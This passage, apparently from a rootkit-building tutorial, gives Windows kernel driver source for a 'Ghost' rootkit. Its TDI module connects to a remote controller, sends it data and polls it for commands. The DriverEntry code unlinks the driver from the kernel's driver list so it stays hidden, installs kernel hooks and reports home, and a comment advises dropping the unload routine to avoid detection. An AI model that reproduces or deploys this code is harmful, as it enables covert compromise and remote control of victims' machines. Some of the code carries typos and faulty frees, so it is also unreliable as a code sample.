The file commManager.c provides the implementation for the functions defined in commManager.h:
TDICompletionRoutine–This routine is called when the next lower driver completes I/O requests.
OpenTDIConnection–This routine opens the remote controller connection.
CloseTDIConnection–This routine closes the remote controller connection.
SendToRemoteController–This routine sends data over the TDI communication link.
TimerDPC–This routine can be used to poll for commands from the remote controller.
// commManager // Copyright Ric Vieler, 2006 // This file supports a TDI connection to // masterAddress1.2.3.4 : masterPort #include <ntddk.h> #include <tdikrnl.h> #include <stdio.h> #include <stdlib.h> #include "commManager.h" #include "configManager.h" #include "Ghost.h" // Globals char* pSendBuffer = NULL; PMDL pSendMdl = NULL; PMDL pReceiveMdl = NULL; PFILE_OBJECT pFileObject = NULL; PDEVICE_OBJECT pDeviceObject = NULL; PKTIMER pKernelTimer = NULL; PKDPC pKernelDPC = NULL; PFILE_FULL_EA_INFORMATION pFileInfo = NULL; // Completion routine for all events (connect, send and receive) static NTSTATUS TDICompletionRoutine(IN PDEVICE_OBJECT theDeviceObject, IN PIRP theIrp, IN PVOID theContextP) { DbgPrint("comint32: TDICompletionRoutine()."); if( theContextP != NULL ) KeSetEvent( (PKEVENT)theContextP, 0, FALSE ); return( STATUS_MORE_PROCESSING_REQUIRED ); } // Open a TDI channel and connect to masterAddress1.2.3.4 : masterPort NTSTATUS OpenTDIConnection() { int port; int address1; int address2; int address3; int address4; NTSTATUS status; UNICODE_STRING TdiTransportDeviceName; OBJECT_ATTRIBUTES TdiAttributes; HANDLE TdiAddressHandle; HANDLE TdiEndpointHandle; IO_STATUS_BLOCK IoStatusBlock; PTA_IP_ADDRESS pAddress; CONNECTION_CONTEXT connectionContext = NULL; ULONG eaSize; PIRP pIrp; PVOID pAddressFileObject; KEVENT irpCompleteEvent; KEVENT connectionEvent; TA_IP_ADDRESS controllerTaIpAddress; ULONG controllerIpAddress; USHORT controllerPort; TDI_CONNECTION_INFORMATION controllerConnection; LARGE_INTEGER timeout; static char eaBuffer[ sizeof(FILE_FULL_EA_INFORMATION) + TDI_TRANSPORT_ADDRESS_LENGTH + sizeof(TA_IP_ADDRESS) ]; PFILE_FULL_EA_INFORMATION pEaBuffer = (PFILE_FULL_EA_INFORMATION)eaBuffer; // Build Unicode transport device name. RtlInitUnicodeString( &TdiTransportDeviceName, COMM_TCP_DEVICE_NAME ); // "/device/tcp" // create object attribs InitializeObjectAttributes( &TdiAttributes, &TdiTransportDeviceName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 0, 0 ); pEaBuffer->NextEntryOffset = 0; pEaBuffer->Flags = 0; pEaBuffer->EaNameLength = TDI_TRANSPORT_ADDRESS_LENGTH; // Copy TdiTransportAddress memcpy( pEaBuffer->EaName, TdiTransportAddress, pEaBuffer->EaNameLength + 1 ); // EaValue represents of the local host IP address and port pEaBuffer->EaValueLength = sizeof(TA_IP_ADDRESS); pAddress = (PTA_IP_ADDRESS) (pEaBuffer->EaName + pEaBuffer->EaNameLength + 1); pAddress->TAAddressCount = 1; pAddress->Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP; pAddress->Address[0].AddressType = TDI_ADDRESS_TYPE_IP; pAddress->Address[0].Address[0].sin_port = 0; // any port pAddress->Address[0].Address[0].in_addr = 0; // local address memset( pAddress->Address[0].Address[0].sin_zero, 0, sizeof(pAddress->Address[0].Address[0].sin_zero) ); // Get the transport device status = ZwCreateFile( &TdiAddressHandle, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &TdiAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN, 0, pEaBuffer, sizeof(eaBuffer) ); if( !NT_SUCCESS( status ) ) { DbgPrint("comint32: OpenTDIConnection() ZwCreate #1 failed, Status = %0x", status); return STATUS_UNSUCCESSFUL; } // get object handle status = ObReferenceObjectByHandle( TdiAddressHandle, FILE_ANY_ACCESS, 0, KernelMode, (PVOID *)&pAddressFileObject, NULL ); // Open a TDI endpoint eaSize = FIELD_OFFSET(FILE_FULL_EA_INFORMATION, EaName) + TDI_CONNECTION_CONTEXT_LENGTH + 1 + sizeof(CONNECTION_CONTEXT); // Overwrite pEaBuffer pFileInfo = (PFILE_FULL_EA_INFORMATION)ExAllocatePool(NonPagedPool, eaSize); if( pFileInfo == NULL ) { DbgPrint("comint32: OpenTDIConnection() failed to allocate buffer"); return STATUS_INSUFFICIENT_RESOURCES; } // Set file info memset(pFileInfo, 0, eaSize); pFileInfo->NextEntryOffset = 0; pFileInfo->Flags = 0; pFileInfo->EaNameLength = TDI_CONNECTION_CONTEXT_LENGTH; memcpy( pFileInfo->EaName, TdiConnectionContext, pFileInfo->EaNameLength + 1 ); //includes NULL terminator // CONNECTION_CONTEXT is a user defined structure used to sort connections // There is only one connection in this example, so CONNECTION_CONTEXT is not used pFileInfo->EaValueLength = sizeof(CONNECTION_CONTEXT); *(CONNECTION_CONTEXT*)(pFileInfo->EaName+(pFileInfo->EaNameLength + 1)) = (CONNECTION_CONTEXT) connectionContext; status = ZwCreateFile( &TdiEndpointHandle, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &TdiAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN, 0, pFileInfo, sizeof(eaBuffer) ); if( !NT_SUCCESS( status ) ) { DbgPrint("comint32: OpenTDIConnection() ZwCreate #2 failed, Status = %0x", status); return STATUS_UNSUCCESSFUL; } // get object handle status = ObReferenceObjectByHandle( TdiEndpointHandle, FILE_ANY_ACCESS, 0, KernelMode, (PVOID *)&pFileObject, NULL ); // Associate endpoint with address pDeviceObject = IoGetRelatedDeviceObject( pAddressFileObject ); // Define a completion event KeInitializeEvent( &irpCompleteEvent, NotificationEvent, FALSE ); // Build IO Request Packet pIrp = TdiBuildInternalDeviceControlIrp( TDI_ASSOCIATE_ADDRESS, pDeviceObject, pFileObject, &irpCompleteEvent, &IoStatusBlock ); if( pIrp == NULL ) { DbgPrint("comint32: No IRP for TDI_ASSOCIATE_ADDRESS"); return( STATUS_INSUFFICIENT_RESOURCES ); } // Extend the IRP TdiBuildAssociateAddress(pIrp, pDeviceObject, pFileObject, NULL, NULL, TdiAddressHandle ); // set completion routine IoSetCompletionRoutine( pIrp, TDICompletionRoutine, &irpCompleteEvent, TRUE, TRUE, TRUE); // Send the packet status = IoCallDriver( pDeviceObject, pIrp ); // Wait if( status == STATUS_PENDING ) { DbgPrint("comint32: OpenTDIConnection() Waiting on IRP (associate)..."); KeWaitForSingleObject(&irpCompleteEvent, Executive, KernelMode, FALSE, 0); } if( ( status != STATUS_SUCCESS) && ( status != STATUS_PENDING ) ) { DbgPrint("comint32: OpenTDIConnection() IoCallDriver #1 failed. Status = %0x", status); return STATUS_UNSUCCESSFUL; } // Connect to the remote controller KeInitializeEvent(&connectionEvent, NotificationEvent, FALSE); // build connection packet pIrp = TdiBuildInternalDeviceControlIrp( TDI_CONNECT, pDeviceObject, pFileObject, &connectionEvent, &IoStatusBlock ); if( pIrp == NULL ) { DbgPrint("comint32: OpenTDIConnection() could not get an IRP for TDI_CONNECT"); return( STATUS_INSUFFICIENT_RESOURCES ); } // Initialize controller data address1 = atoi(masterAddress1); address2 = atoi(masterAddress2); address3 = atoi(masterAddress3); address4 = atoi(masterAddress4); port = atoi(masterPort); controllerPort = HTONS(port); controllerIpAddress = INETADDR(address1,address2,address3,address4); controllerTaIpAddress.TAAddressCount = 1; controllerTaIpAddress.Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP; controllerTaIpAddress.Address[0].AddressType = TDI_ADDRESS_TYPE_IP; controllerTaIpAddress.Address[0].Address[0].sin_port = controllerPort; controllerTaIpAddress.Address[0].Address[0].in_addr = controllerIpAddress; controllerConnection.UserDataLength = 0; controllerConnection.UserData = 0; controllerConnection.OptionsLength = 0; controllerConnection.Options = 0; controllerConnection.RemoteAddressLength = sizeof(controllerTaIpAddress); controllerConnection.RemoteAddress = &controllerTaIpAddress; // add controller data to the packet TdiBuildConnect( pIrp, pDeviceObject, pFileObject, NULL, NULL, NULL, &controllerConnection, 0 ); // set completion routine IoSetCompletionRoutine( pIrp, TDICompletionRoutine, &connectionEvent, TRUE, TRUE, TRUE); // Send the packet status = IoCallDriver( pDeviceObject, pIrp ); // wait if( status == STATUS_PENDING ) { DbgPrint("comint32: OpenTDIConnection() waiting on IRP (connect)..."); KeWaitForSingleObject(&connectionEvent, Executive, KernelMode, FALSE, 0); } if( ( status != STATUS_SUCCESS ) && ( status != STATUS_PENDING ) ) { DbgPrint("comint32: OpenTDIConnection() Connection failed. Status = %0x", status); return( STATUS_UNSUCCESSFUL ); } // Start a Deferred Procedure Call // Objects must be non paged pKernelTimer = ExAllocatePool( NonPagedPool, sizeof( KTIMER ) ); pKernelDPC = ExAllocatePool( NonPagedPool, sizeof( KDPC ) ); timeout.QuadPart = -10; KeInitializeTimer( pKernelTimer ); KeInitializeDpc( pKernelDPC, timerDPC, NULL ); if( KeSetTimerEx( pKernelTimer, timeout, 500, pKernelDPC ) ) // 1/2 second { DbgPrint("comint32: OpenTDIConnection() Timer was already set."); } return STATUS_SUCCESS; } // Clean up void CloseTDIConnection() { KeCancelTimer( pKernelTimer ); ExFreePool( pKernelTimer ); ExFreePool( pKernelDPC ); if( pFileInfo != NULL ) ExFreePool( pFileInfo ); if( pKernelTimer == NULL ) ExFreePool( pKernelTimer ); if( pKernelDPC == NULL ) ExFreePool( pKernelDPC ); if( pSendBuffer != NULL ) ExFreePool( pSendBuffer ); if( pSendMdl != NULL ) IoFreeMdl( pSendMdl ); if( pReceiveMdl != NULL ) IoFreeMdl( pReceiveMdl ); } NTSTATUS SendToRemoteController( char* buffer ) { NTSTATUS status; ULONG bufferLength; KEVENT SendEvent; PIRP pIrp; IO_STATUS_BLOCKIoStatusBlock; KeInitializeEvent( &SendEvent, NotificationEvent, FALSE ); bufferLength = strlen( buffer ); if( pSendBuffer != NULL ) ExFreePool( pSendBuffer ); pSendBuffer = ExAllocatePool( NonPagedPool, bufferLength ); memcpy( pSendBuffer, buffer, bufferLength ); // build an IO Request Packet pIrp = TdiBuildInternalDeviceControlIrp( TDI_SEND, pDeviceObject, pFileObject, &SendEvent, &IoStatusBlock ); if( pIrp == NULL ) { DbgPrint( "comint32: SendToRemoteController() could not get an IRP for TDI_SEND" ); return( STATUS_INSUFFICIENT_RESOURCES ); } if( pSendMdl != NULL ) IoFreeMdl( pSendMdl ); pSendMdl = IoAllocateMdl( pSendBuffer, bufferLength, FALSE, FALSE, pIrp ); if( pSendMdl == NULL ) { DbgPrint("comint32: SendToRemoteController() could not get an MDL for TDI_SEND"); return( STATUS_INSUFFICIENT_RESOURCES ); } __try { MmProbeAndLockPages( pSendMdl, KernelMode, IoModifyAccess ); } __except( EXCEPTION_EXECUTE_HANDLER ) { DbgPrint("comint32: SendToRemoteController() ProbeAndLock exception."); return( STATUS_UNSUCCESSFUL ); } // Extend the packet TdiBuildSend( pIrp, pDeviceObject, pFileObject, NULL, NULL, pSendMdl, 0, bufferLength ); // set completion routine IoSetCompletionRoutine( pIrp, TDICompletionRoutine, &SendEvent, TRUE, TRUE, TRUE); // Send the packet status = IoCallDriver( pDeviceObject, pIrp ); // wait if( status == STATUS_PENDING ) { DbgPrint("comint32: SendToRemoteController() waiting on IRP (send)..."); KeWaitForSingleObject( &SendEvent, Executive, KernelMode, FALSE, 0 ); } if( ( status != STATUS_SUCCESS ) && ( status != STATUS_PENDING ) ) { DbgPrint("comint32: SendToRemoteController() Send failed. Status = %0x", status); return( STATUS_UNSUCCESSFUL ); } return STATUS_SUCCESS; } // called periodically VOID timerDPC( PKDPC Dpc, PVOID DeferredContext, PVOID sys1, PVOID sys2 ) { // poll for commands }
As with all new files added to our rootkit, commManager.c has been added to SOURCES:
TARGETNAME=comint32 TARGETPATH=OBJ TARGETTYPE=DRIVER SOURCES=Ghost.c\ fileManager.c\ IoManager.c\ commManager.c\ hookManager.c\ configManager.c
Finally, here’s the code added to Ghost.c:
#include commManager.hVOID OnUnload( IN PDRIVER_OBJECT pDriverObject ) { UNICODE_STRING deviceLink = { 0 }; // Close the connection to remote controller CloseTDIConnection(); // remove device controller RtlInitUnicodeString( &deviceLink, GHOST_DEVICE_LINK_NAME ); IoDeleteSymbolicLink( &deviceLink ); IoDeleteDevice( pDriverObject->DeviceObject ); DbgPrint("comint32: Device controller removed."); // Unhook any hooked functions and return the Memory Descriptor List f( NewSystemCallTable ) { UNHOOK( ZwMapViewOfSection, OldZwMapViewOfSection ); MmUnmapLockedPages( NewSystemCallTable, pMyMDL ); IoFreeMdl( pMyMDL ); } DbgPrint("comint32: Hooks removed."); }
Only the call to CloseTDIConnection was added to OnLoad:
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING theRegistryPath ) { DRIVER_DATA* driverData; UNICODE_STRING deviceName = { 0 }; UNICODE_STRING deviceLink = { 0 }; PDEVICE_OBJECT pDeviceController; // Get the operating system version PsGetVersion( &majorVersion, &minorVersion, NULL, NULL ); // Major = 4: Windows NT 4.0, Windows Me, Windows 98 or Windows 95 // Major = 5: Windows Server 2003, Windows XP or Windows 2000 // Minor = 0: Windows 2000, Windows NT 4.0 or Windows 95 // Minor = 1: Windows XP // Minor = 2: Windows Server 2003 if ( majorVersion == 5 && minorVersion == 2 ) { DbgPrint("comint32: Running on Windows 2003"); } else if ( majorVersion == 5 && minorVersion == 1 ) { DbgPrint("comint32: Running on Windows XP"); } else if ( majorVersion == 5 && minorVersion == 0 ) { DbgPrint("comint32: Running on Windows 2000"); } else if ( majorVersion == 4 && minorVersion == 0 ) { DbgPrint("comint32: Running on Windows NT 4.0"); } else { DbgPrint("comint32: Running on unknown system"); } // Hide this driver driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20)); if( driverData != NULL ) { // unlink this driver entry from the driver list *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink; driverData->listEntry.Flink->Blink = driverData->listEntry.Blink; } // Get the remote controller's address and port if( !NT_SUCCESS( Configure() ) ) { DbgPrint("comint32: Configure failed!\n"); return STATUS_UNSUCCESSFUL; } // Add kernel hooks if( !NT_SUCCESS( HookKernel() ) ) { DbgPrint("comint32: HookKernel failed!\n"); return STATUS_UNSUCCESSFUL; } // Open the connection to remote controller if( !NT_SUCCESS( OpenTDIConnection() ) ) { DbgPrint("comint32: Could not open remote connection.\n"); return STATUS_UNSUCCESSFUL; } // Tell remote controller that we're here SendToRemoteController( "207.46.20.30" ); // Create the device controller RtlInitUnicodeString( &deviceName, GHOST_DEVICE_CREATE_NAME ); IoCreateDevice( pDriverObject, 0, &deviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pDeviceController ); RtlInitUnicodeString( &deviceLink, GHOST_DEVICE_LINK_NAME ); IoCreateSymbolicLink( &deviceLink, &deviceName ); pDriverObject->MajorFunction[IRP_MJ_CREATE] = pDriverObject->MajorFunction[IRP_MJ_CLOSE] = pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = OnDispatch; // Comment out in free build to avoid detection pDriverObject->DriverUnload = OnUnload; return STATUS_SUCCESS; }
Both OpenTDIConnection and SendToRemoteController have been added to DriverEntry. OpenTDIConnection was added after all possible return conditions to ensure that DriverEntry doesn’t return unsuccessfully after the TDI connection has been created. If other possible error conditions are added, care must be taken to close the TDI connection before returning. SendToRemoteController sends an Internet address to the remote controller. Under normal circumstances, this would be the address of the machine initiating the connection.